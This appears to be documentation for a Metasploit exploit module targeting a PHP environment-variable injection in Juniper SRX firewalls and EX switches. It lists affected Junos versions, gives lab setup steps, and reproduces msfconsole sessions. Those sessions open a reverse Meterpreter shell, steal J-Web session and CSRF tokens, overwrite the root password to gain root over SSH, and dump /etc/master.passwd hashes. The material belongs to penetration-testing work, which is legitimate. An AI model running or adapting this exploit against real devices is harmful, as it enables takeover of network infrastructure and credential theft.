## Vulnerable Application

This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls
and EX switches.

Juniper Networks Junos OS affected SRX Series:

- All versions prior to 20.4R3-S8.
- 21.1 version 21.1R1 and later versions.
- 21.2 versions prior to 21.2R3-S6.
- 21.3 versions prior to 21.3R3-S5.
- 21.4 versions prior to 21.4R3-S5.
- 22.1 versions prior to 22.1R3-S3.
- 22.2 versions prior to 22.2R3-S2.
- 22.3 versions prior to 22.3R2-S2, 22.3R3.
- 22.4 versions prior to 22.4R2-S1, 22.4R3.

Juniper Networks Junos OS affected EX Series:

- All versions prior to 20.4R3-S8.
- 21.1 version 21.1R1 and later versions.
- 21.2 versions prior to 21.2R3-S6.
- 21.3 versions prior to 21.3R3-S5.
- 21.4 versions prior to 21.4R3-S4.
- 22.1 versions prior to 22.1R3-S3.
- 22.2 versions prior to 22.2R3-S1.
- 22.3 versions prior to 22.3R2-S2, 22.3R3.
- 22.4 versions prior to 22.4R2-S1, 22.4R3.

### Description

The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin
by opening `/dev/fd/0`. The exploit also makes use of two useful PHP features. The first being
`auto_prepend_file` which causes the provided file to be added using the `require` function. The second PHP
function is `allow_url_include` which allows the use of URL-aware `fopen` wrappers. By enabling
`allow_url_include`, the exploit can use any protocol wrapper with `auto_prepend_file`. The module then uses
`data://` to provide a file inline which includes the base64 encoded PHP payload.

By default this exploit returns a session confined to a FreeBSD jail with limited functionality when using the
`PHP In-Memory target`. When using the `Interactive SSH with jail break` target the module will steal the necessary
tokens from a user authenticated to the J-Web application, in order to overwrite the root password hash. If there is no
user authenticated to the J-Web application the module will create one. The module then authenticates with the new root
password over SSH and then rewrites the original root password hash to /etc/master.passwd.

### Setup

1. Navigate to the following URL: https://www.juniper.net/us/en/dm/download-next-gen-vsrx-firewall-trial.html
1. Setup an account and download the free trail of: `junos-vsrx3-x86-64-20.2R1.10.scsi.ova`
1. Boot
1. Log in as `root` / no password
1. Run `cli`
1. Run `configure`
1. Set password: `set system root-authentication plain-text-password`
1. Set hostname: `set system host-name (host-name)`
1. Set up the management interface: `set interfaces fxp0 unit 0 family inet dhcp-client`
1. Set up the traffic interfaces: `set interfaces ge-0/0/0 unit 0 family inet dhcp-client`
1. Set up security zones: `set security zones security-zone trust interfaces ge-0/0/0.0`
1. Validate the config: `commit check`
   - If you typo'd something, you can `rollback` here and try again
1. Commit: `commit`
1. Exit config, then exit CLI: `exit` then `exit`
1. Reboot: `reboot`
1. Log in with your new account
1. Run `cli` again
1.Get the ip address with `show interfaces terse | match fxp`

## Verification Steps

1. Start msfconsole
1. Do: `use freebsd/http/junos_phprc_auto_prepend_file`
1. Set the `RHOST`, `LHOST`
1. Run the module
1. Receive a Meterpreter session as the `nobody` user.

## Scenarios

### PHP In-Memory, junos-vsrx3-x86-64-20.2R1.10.scsi.ova

```
msf6 > use exploit/freebsd/http/junos_phprc_auto_prepend_file
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts 192.168.140.91
rhosts => 192.168.140.91
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost 192.168.140.78
lhost => 192.168.140.78
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > options

Module options (exploit/freebsd/http/junos_phprc_auto_prepend_file):

   Name               Current Setting           Required  Description
   ----               ---------------           --------  -----------
   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS             192.168.140.91            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT              80                        yes       The target port (TCP)
   SSH_PORT           22                        yes       SSH port of Junos Target
   SSH_TIMEOUT        30                        yes       The maximum acceptable amount of time to negotiate a SSH session
   SSL                false                     no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                      no        Path to a custom SSL certificate (default is randomly generated)
   TMP_ROOT_PASSWORD  gCg6b3NTs10qWjiRVSsjAv7n  yes       If target is set to "Interactive SSH with jail break", the root user's password will be temporarily changed to this password
   URIPATH                                      no        The URI to use for this exploit (default is random)
   VHOST                                        no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.140.78   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory



View the full module info with the info, or info -d command.

msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run

[*] Started reverse TCP handler on 192.168.140.78:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.140.91
[*] Meterpreter session 1 opened (192.168.140.78:4444 -> 192.168.140.91:50791) at 2023-09-28 14:13:50 -0400

meterpreter > getuid
Server username: nobody
meterpreter > sysinfo
Computer    : JUNOS
OS          : FreeBSD JUNOS JNPR-11.0-20200608.0016468_buil FreeBSD JNPR-11.0-20200608.0016468_builder_stable_11 #0 r356482+0016468ed6c(stable/11): Sun Jun  7 23:59:18 PDT 2020     builder@feyrith.juniper.net:/volume/build/junos/occam/llvm-5.0/sandbox-20200605/freebsd/
Meterpreter : php/freebsd
meterpreter > exit
```

### Interactive SSH with jail break junos-vsrx3-x86-64-20.2R1.10.scsi.ova
```
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   PHP In-Memory
    1   Interactive SSH with jail break


msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set target 1
target => 1
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > options

Module options (exploit/freebsd/http/junos_phprc_auto_prepend_file):

   Name               Current Setting           Required  Description
   ----               ---------------           --------  -----------
   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS             192.168.140.91            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT              80                        yes       The target port (TCP)
   SSH_PORT           22                        yes       SSH port of Junos Target
   SSH_TIMEOUT        30                        yes       The maximum acceptable amount of time to negotiate a SSH session
   SSL                false                     no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                      no        Path to a custom SSL certificate (default is randomly generated)
   TMP_ROOT_PASSWORD  gCg6b3NTs10qWjiRVSsjAv7n  yes       If target is set to "Interactive SSH with jail break", the root user's password will be temporarily changed to this password
   URIPATH                                      no        The URI to use for this exploit (default is random)
   VHOST                                        no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   1   Interactive SSH with jail break



View the full module info with the info, or info -d command.

msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable.
[*] Attempting to break out of FreeBSD jail by changing the root user's password, establishing an SSH session and then rewriting the original root user's password hash to /etc/master.passwd.
[!] This requires a user is authenticated to the J-Web application in order to steal a session token, also 'ssh root-login' is set to 'allow' on the device
[*] Found PHPSESSID: 90c641904f64e8378036ac32b8a6dfc860cf3256.
[*] Found csrf token: 6bd37a3776124d00f495f4306f0c8c91.
[*] Original encrypted root password: $6$bh9nWhr5sA0mjcZl$LURCntyXrzMfD1vaoawkahj5n86d9k4tTBzYs1zvSfVfDT1U8ricpkO7mDD2AjgciCXx.bNVEFcgk3wOs3YDb1
[*] Temporary root password Hash: $6$EHgi8RZTDSrDA2Zd$UTT5xh8F04TClznHUh6w8kZMeiN2icS7HZo1Eef03epX.vDxmVi6h2kssx1O.qrbDucKtRt7h/IoFRjWvEQvU1
[*] Successfully changed the root user's password to gCg6b3NTs10qWjiRVSsjAv7n
[+] Logged in as root
[*] Found shell.
[*] Rewriting the original root password hash to /etc/master.passwd
[*] Command shell session 2 opened (192.168.140.78:49763 -> 192.168.140.91:22) at 2023-09-28 14:14:39 -0400

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(field),31(guest),73(config)
uname -a
FreeBSD JUNOS JNPR-11.0-20200608.0016468_buil FreeBSD JNPR-11.0-20200608.0016468_builder_stable_11 #0 r356482+0016468ed6c(stable/11): Sun Jun  7 23:59:18 PDT 2020     builder@feyrith.juniper.net:/volume/build/junos/occam/llvm-5.0/sandbox-20200605/freebsd/stable_11/20200605.171711_builder_stable_11.0016468/obj/amd64/juniper/kernels/JNPR-AMD64-PRD/kernel  amd64
cat /etc/master.passwd
root:$6$bh9nWhr5sA0mjcZl$LURCntyXrzMfD1vaoawkahj5n86d9k4tTBzYs1zvSfVfDT1U8ricpkO7mDD2AjgciCXx.bNVEFcgk3wOs3YDb1:0:0:super-user:0:0:Charlie &:/root:/bin/csh
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:operator:0:0:System &:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin
ext:*:39:39:super-user:0:0:External applications:/:/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin
admin:$6$Dj.crXwf$EyAmqaJz7f3.JldkbZk7eZuApofQ7zK/z/7Q5ntrD3cebxYc9/Y2FSoJcUIZSgYwKGGyd0nnfNSvaHzkz6BLL1:2000:20:j-super-user:0:0:Administrator:/var/home/admin:/usr/sbin/cli
```
